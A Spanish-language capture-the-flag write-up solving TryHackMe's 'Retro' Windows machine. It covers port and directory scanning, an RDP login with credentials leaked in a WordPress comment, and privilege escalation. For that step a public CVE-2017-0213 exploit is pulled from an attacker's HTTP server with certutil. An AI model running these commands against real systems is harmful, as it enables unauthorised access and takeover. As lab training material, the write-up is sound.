# Retro

¡Hola!

En este *writeup* vamos a resolver la máquina **retro** de TryHackMe, una máquina de nivel de dificultad **difícil**. La podéis encontrar en el siguiente enlace:

{% embed url="<https://tryhackme.com/room/retro>" %}

### Reconocimiento

Esta máquina no admite trazas ICMP así que en esta ocasión vamos a saltarnos la ejecución de **ping** para comprobar que la máquina está activa y accesible.&#x20;

Como siempre, vamos a empezar la fase de enumeración lanzando un escaneo con **nmap**, en esta ocasión también voy a exportar la captura de nmap a un archivo para tener los datos disponibles en caso de que más adelante fueran necesarios:

```
nmap -sC -sV -p- --min-rate 5000 -n -Pn <IP> -oN <NOMBRE_ARCHIVO>
```

El escaneo de nmap nos arroja los siguientes resultados:&#x20;

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2Fg95o5KVHhwlkpGfelOTF%2Fimagen.png?alt=media\&token=a86c6287-c7ac-4725-a74a-da56078a8888)

Tenemos dos puertos abiertos:

* 80 -> **http**
* 3389 -> **RDP (Remote Desktop)**

Con estos datos ya podemos intuir que estamos ante una máquina Windows debido al RDP.

Si le echamos un vistazo a la web alojada en el puerto 80 confirmamos nuestras sospechas, nos encontramos ante un Windows Server:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FpzfUPYGdMe805iveCBcb%2Fimagen.png?alt=media\&token=9e8c7b5f-7968-42b9-828a-4897654b39b3)

Iniciamos un proceso de *fuzzing* con **wfuzz** utilizando el diccionario directory list 2-3 medium para descubrir posibles rutas:

```
wfuzz --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://<IP>/FUZZ
```

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FaDI3pZJEybFX3BUgFLRB%2Fimagen.png?alt=media\&token=15c9a587-239b-42fe-8e14-4f66d6ea8da4)

Vamos a echarle un vistazo a esta nueva ruta que hemos descubierto y nos encontramos con lo que parece ser la web principal del servidor:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2Fk0b2nzONflU8G6lmXZIT%2Fimagen.png?alt=media\&token=31b1897b-b4c9-4e7a-b48a-ff753fd6a80f)

Podemos utilizar **Wappalyzer** o **whatweb** para conocer los servicios que corren por detrás. Encontramos, entre otros, Wordpress:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FXgfFazo13o75Gy1LvKl6%2Fimagen.png?alt=media\&token=da2601c5-05ed-45cc-83cb-ecf5d92e383f)

Antes de buscar posibles exploits para esa versión de Wordpress vamos a investigar un poco la web.

Parece ser que tenemos un solo redactor, ya que todos los posts publicados tienen como autor a un usuario llamado **Wade**.

Si indagamos un poco más, bajo el post llamado "Ready Player One" encontramos un comentario algo sospechoso:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FOjeYlQ99l7gmlf4VO5dO%2Fimagen.png?alt=media\&token=c567c8e1-3db7-4e66-b97b-6c58080e35c2)

### Explotación

¿Serán credenciales? Recordemos que el puerto 3389 está abierto así que tenemos el servicio **Remote Desktop de Windows** habilitado. Probemos a acceder mediante **xfreerdp** junto a nuestras potenciales credenciales a dicho servicio:

```
xfreerdp /u:Wade /p:parzival /v:<IP> /dynamic-resolution
```

¡Y estamos dentro!

### Escalada de privilegios

Con esto ya tenemos sesión con el usuario Wade dentro de la máquina y podemos visualizar la primera flag, que se encuentra en el propio escritorio de la máquina:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FpOeMa4fcCmEg21oZ7V2Z%2Fimagen.png?alt=media\&token=d331cecc-258d-4a8d-8dd9-0913fd9576b9)

Lanzamos el comando **systeminfo** desde Powershell para realizar un reconocimiento rápido de la versión del sistema operativo para buscar información sobre potenciales vulnerabilidades y proceder con la escalada de privilegios:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FQ45wClB0OjjfXKYqcdSx%2Fimagen.png?alt=media\&token=8f899385-e102-4225-bee8-3de7243249a3)

Si realizamos una búsqueda en Google tipo: **"Windows Server 2016 10.0.14393 exploit"** más temprano que tarde nos encontraremos con un enlace al famosísimo repositorio **PayloadsAllTheThings** de Github. En él tenemos disponibles una serie de exploits de Kernel que nos pueden ser de utilidad para esta máquina.&#x20;

Vamos a echar un vistazo a los compatibles con la versión de nuestro sistema operativo:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2F9hMivFUHZ5WGaRxorhSV%2Fimagen.png?alt=media\&token=a886dffd-8877-4e64-aac6-6096d052c18e)

Y en este caso vamos a utilizar el que corresponde al **CVE-2017-0213**, el enlace nos llevará directamente a la siguiente página:

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-0213>" %}

Descargamos el exploit que corresponde a la versión de 64 bits; CVE-2017-0213\_x64.zip.

Para subir el archivo a nuestra máquina víctima iniciamos un servidor http con Python bajo la carpeta en la que se encuentre nuestro comprimido:

```
python3 -m http.server
```

Y utilizamos certutil desde Powershell para descargarnos nuestro archivo ya que desde el navegador no se nos permitirá ya que se aplican medidas de seguridad:

```
certutil.exe -urlcache -f http://<IP_Atacante>:<Puerto>/CVE-2017-0213_x64.zip CVE-2017-0213_x64.zip
```

Descomprimimos el archivo en la máquina víctima, ejecutamos el .exe y...

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FERznR8YQpGMub9h8kJTa%2Fimagen.png?alt=media\&token=5b4aff0f-5e25-4c08-9e46-f48fa2850fb4)

¡Bam! Conseguimos una shell de altos privilegios como **nt-authority/system** 😎

Y con esto ya podemos visualizar las *flags* y habremos terminado la máquina.

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯

Espero que este Writeup te haya sido de utilidad, si tienes alguna duda, sugerencia o simplemente te interesa este tipo de contenido no dudes en seguirme a través de cualquiera de mis redes sociales:

📝 LinkedIn ⮞ <https://www.linkedin.com/in/david-rodriguez-ramos/>\
▶️ YouTube ⮞ <https://www.youtube.com/c/xerosec>\
🐦 Twitter ⮞ <https://twitter.com/xerosec>\
🔴 Twitch ⮞ [https://www.twitch.tv/xerosec](https://www.twitch.tv/xerosec/)  \
💬 Discord ⮞ <https://discord.gg/E4AjK2XsFm>

¡Gracias por llegar hasta aquí!
